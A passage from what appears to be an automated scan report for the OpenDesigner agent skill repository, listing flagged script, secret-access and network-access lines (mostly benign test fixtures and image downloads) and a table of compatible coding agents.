    err(f"source {s['id']} needs a url (https://...) that was opened, or \"person, YYYY-MM-DD\" / \"interview, YYYY-MM-DD\" / "

skills/opendesigner/scripts/show.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/opendesigner/scripts/taste.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Access to secretsline 62
    [Credential-related source omitted]
  • Network accessline 111
    if bad or not e.get("tags"):             out.append(f"{where}: tags must be 1 or more from the vocabulary" + (f"; unknown: {bad}" if bad else ""))         if e.get("source") == "mobbin" and not str(e.get("mobbin_url", "")).startswith("https
  • Network accessline 112
    out.append(f"{where}: tags must be 1 or more from the vocabulary" + (f"; unknown: {bad}" if bad else ""))         if e.get("source") == "mobbin" and not str(e.get("mobbin_url", "")).startswith("https://mobbin.com/"):             out.append(
  • Network accessline 113
    if e.get("source") == "mobbin" and not str(e.get("mobbin_url", "")).startswith("https://mobbin.com/"):
  • Network accessline 543
    dest = folder / f"{e['id']}.jpg"         if url and not dest.exists():             urllib.request.urlretrieve(url, dest)
  • Network accessline 544
    if url and not dest.exists():             urllib.request.urlretrieve(url, dest)         current.append(e)
  • Network accessline 545
    urllib.request.urlretrieve(url, dest)

skills/opendesigner/scripts/test_engine.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 25
    [Credential-related source omitted]
  • Network accessline 631
    url = quiet(e.cmd_feedback, t, "Spacing step names confuse beginners & experts", "confusing")             u = urlparse(url)             self.assertEqual(f"{u.scheme}://{u.netloc}{u.path}", "https://github.com/ckryptickunal/OpenDesigner/issu
  • Network accessline 632
    u = urlparse(url)             self.assertEqual(f"{u.scheme}://{u.netloc}{u.path}", "https://github.com/ckryptickunal/OpenDesigner/issues/new")             q = parse_qs(u.query)
  • Network accessline 633
    self.assertEqual(f"{u.scheme}://{u.netloc}{u.path}", "https://github.com/ckryptickunal/OpenDesigner/issues/new")
  • Network accessline 1631
    "rule": "Use ease-out for elements leaving the screen.", "why": "It feels responsive.", "strength": "must",          "values": {"exit-easing": "cubic-bezier(0.23, 1, 0.32, 1)"}, "applies_to": ["all"],          "sources": [{"id": "ek-7-pract
  • Network accessline 1632
    "values": {"exit-easing": "cubic-bezier(0.23, 1, 0.32, 1)"}, "applies_to": ["all"],          "sources": [{"id": "ek-7-practical-animation-tips", "evidence": "tip 2", "url": "https://example.com/ek"}],          "engine": {"path": "motion.eas
  • Network accessline 1633
    "sources": [{"id": "ek-7-practical-animation-tips", "evidence": "tip 2", "url": "https://example.com/ek"}],
  • Access to secretsline 1670
    [Credential-related source omitted]
  • Access to secretsline 1671
    [Credential-related source omitted]
  • Access to secretsline 1675
    [Credential-related source omitted]
  • Network accessline 1808
    quiet(e.cmd_standard, d, "add", rule="No source.", why="x", source="")             code, _out = run_cli("standard", "add", "--rule", "Table rows are 40px tall.", "--why", "our brand book says so",                                  "--source"
  • Network accessline 1809
    code, _out = run_cli("standard", "add", "--rule", "Table rows are 40px tall.", "--why", "our brand book says so",                                  "--source", "https://example.com/brand", "--path", "size.row.md", "--value", "40",           
  • Network accessline 1810
    "--source", "https://example.com/brand", "--path", "size.row.md", "--value", "40",
  • Network accessline 1822
    self.assertIn("project standard PRJ-01: Table rows are 40px tall", str(cm.exception))             with open(os.path.join(d, "decisions.md"), encoding="utf-8") as f:                 self.assertIn("source_ref: https://example.com/brand", f.re
  • Network accessline 1823
    with open(os.path.join(d, "decisions.md"), encoding="utf-8") as f:                 self.assertIn("source_ref: https://example.com/brand", f.read())             quiet(e.cmd_standard, d, "add", rule="Prefer 8px container corners.", why="nice"
  • Network accessline 1824
    self.assertIn("source_ref: https://example.com/brand", f.read())
  • Network accessline 1993
    out = io.StringIO()                 with contextlib.redirect_stdout(out):                     e.cmd_standard(d, "add", rule="Exits ease in, per our brand guide.", why="brand guide", source="https://example.com/g",
  • Network accessline 1994
    with contextlib.redirect_stdout(out):                     e.cmd_standard(d, "add", rule="Exits ease in, per our brand guide.", why="brand guide", source="https://example.com/g",                                    path="motion.easing.exit", 
  • Network accessline 1995
    e.cmd_standard(d, "add", rule="Exits ease in, per our brand guide.", why="brand guide", source="https://example.com/g",
  • Network accessline 2222
    d = os.path.join(t, "opendesigner")             quiet(e.cmd_init, d, name="Good to have")             _r, out = std_run(e.cmd_standard, d, "add", rule="Prefer a gentle exit curve.", why="a blog post", source="https://example.com/b",
  • Network accessline 2223
    quiet(e.cmd_init, d, name="Good to have")             _r, out = std_run(e.cmd_standard, d, "add", rule="Prefer a gentle exit curve.", why="a blog post", source="https://example.com/b",                               authority="good-to-have",
  • Network accessline 2224
    _r, out = std_run(e.cmd_standard, d, "add", rule="Prefer a gentle exit curve.", why="a blog post", source="https://example.com/b",
  • Network accessline 2235
    d = os.path.join(t, "opendesigner")             quiet(e.cmd_init, d, name="Later house")             quiet(e.cmd_standard, d, "add", rule="Prefer a gentle exit curve.", why="a blog post", source="https://example.com/b",
  • Network accessline 2236
    quiet(e.cmd_init, d, name="Later house")             quiet(e.cmd_standard, d, "add", rule="Prefer a gentle exit curve.", why="a blog post", source="https://example.com/b",                   authority="good-to-have", path="motion.easing.exit
  • Network accessline 2237
    quiet(e.cmd_standard, d, "add", rule="Prefer a gentle exit curve.", why="a blog post", source="https://example.com/b",
  • Network accessline 2251
    d = os.path.join(t, "opendesigner")             quiet(e.cmd_init, d, name="Give back")             quiet(e.cmd_standard, d, "add", rule="Exits ease in.", why="brand", source="https://example.com/g",
  • Network accessline 2252
    quiet(e.cmd_init, d, name="Give back")             quiet(e.cmd_standard, d, "add", rule="Exits ease in.", why="brand", source="https://example.com/g",                   path="motion.easing.exit", value=[0.5, 0, 1, 1])
  • Network accessline 2253
    quiet(e.cmd_standard, d, "add", rule="Exits ease in.", why="brand", source="https://example.com/g",
  • Network accessline 2254
    path="motion.easing.exit", value=[0.5, 0, 1, 1])             _r, out = std_run(e.cmd_standard, d, "add", rule="Exits ease in harder.", why="brand v2", source="https://example.com/g2",                               path="motion.easing.exit",
  • Network accessline 2255
    _r, out = std_run(e.cmd_standard, d, "add", rule="Exits ease in harder.", why="brand v2", source="https://example.com/g2",
  • Network accessline 3930
    "package.json": {"name": "budget-buddy", "version": "0.1.0",                      "dependencies": {"next": "16", "react": "19", "react-dom": "19", "next-themes": "0.4"}},     "README.md": "# Budget Buddy\n\n![build](https://img.shields.io/b
  • Network accessline 3931
    "dependencies": {"next": "16", "react": "19", "react-dom": "19", "next-themes": "0.4"}},     "README.md": "# Budget Buddy\n\n![build](https://img.shields.io/badge/build-passing-green)\n\n"                  "Budget Buddy helps freelancers se
  • Network accessline 3932
    "README.md": "# Budget Buddy\n\n![build](https://img.shields.io/badge/build-passing-green)\n\n"

skills/opendesigner/scripts/test_journey.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 61
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]
  • Network accessline 162
    def test_notes_are_short_and_scrubbed(self):         rec = self.log("frustration", step="Q-aud-01", signal="said",                        note="ugh kunal@acme.dev see https://acme.dev and /Users/kunal/app #167874 one two three four five six
  • Network accessline 163
    rec = self.log("frustration", step="Q-aud-01", signal="said",                        note="ugh kunal@acme.dev see https://acme.dev and /Users/kunal/app #167874 one two three four five six seven")         note = rec["data"]["note"]
  • Network accessline 164
    note="ugh kunal@acme.dev see https://acme.dev and /Users/kunal/app #167874 one two three four five six seven")
  • Network accessline 361
    PRIVATE = ["kunal@example.com", "https://acme.dev/brand", "/Users/kunal/acme-app/src", "C:\\Users\\priya\\app", "#167874", "#ff00aa",
  • Access to secretsline 430
    [Credential-related source omitted]
  • Network accessline 453
    self.sample()         j.set_share(self.d, "always")         with mock.patch.dict(os.environ, {"OPENDESIGNER_REPORTS_URL": "http://127.0.0.1:9/v1/reports"}):
  • Network accessline 454
    j.set_share(self.d, "always")         with mock.patch.dict(os.environ, {"OPENDESIGNER_REPORTS_URL": "http://127.0.0.1:9/v1/reports"}):             self.assertEqual(j.share(self.d)[0], "queued")            # unreachable: kept, no error
  • Network accessline 455
    [Credential-related source omitted]
  • Access to secretsline 455
    [Credential-related source omitted]
  • Network accessline 456
    self.assertEqual(j.share(self.d)[0], "queued")            # unreachable: kept, no error         self.log("step_shown", step="Q-plat-01")         with mock.patch.dict(os.environ, {"OPENDESIGNER_REPORTS_URL": f"http://127.0.0.1:{srv.server_po
  • Network accessline 457
    self.log("step_shown", step="Q-plat-01")         with mock.patch.dict(os.environ, {"OPENDESIGNER_REPORTS_URL": f"http://127.0.0.1:{srv.server_port}/v1/reports"}):             self.assertEqual(j.share(self.d)[0], "sent")
  • Network accessline 458
    [Credential-related source omitted]
  • Access to secretsline 458
    [Credential-related source omitted]

skills/opendesigner/scripts/test_preferences.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 69
    def test_export_is_local_and_strips_private_bits(self):         packet = p.improvement_proposal(             "The type step is long. Contact me at a@b.co about https://secret.example/path and #11aa22."
  • Network accessline 70
    packet = p.improvement_proposal(             "The type step is long. Contact me at a@b.co about https://secret.example/path and #11aa22."         )
  • Network accessline 71
    "The type step is long. Contact me at a@b.co about https://secret.example/path and #11aa22."

skills/opendesigner/scripts/test_research.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/opendesigner/scripts/test_taste.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 74
    [Credential-related source omitted]

tools/build_data.py

  • Executable scriptline 1
    #!/usr/bin/env python3

tools/sync_skills.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    Executable file; content unavailable

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Declared and executed: 3 facts
Signal confidence: 497 facts

and 447 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeManifest .claude-plugin/marketplace.json.claude/skills/<skill-name>/
CodexNativeManifest AGENTS.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md skills/opendesigner/SKILL.md.cursor/skills/<skill-name>/
Gemini CLINativePath GEMINI.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md skills/opendesigner/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md skills/opendesigner/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.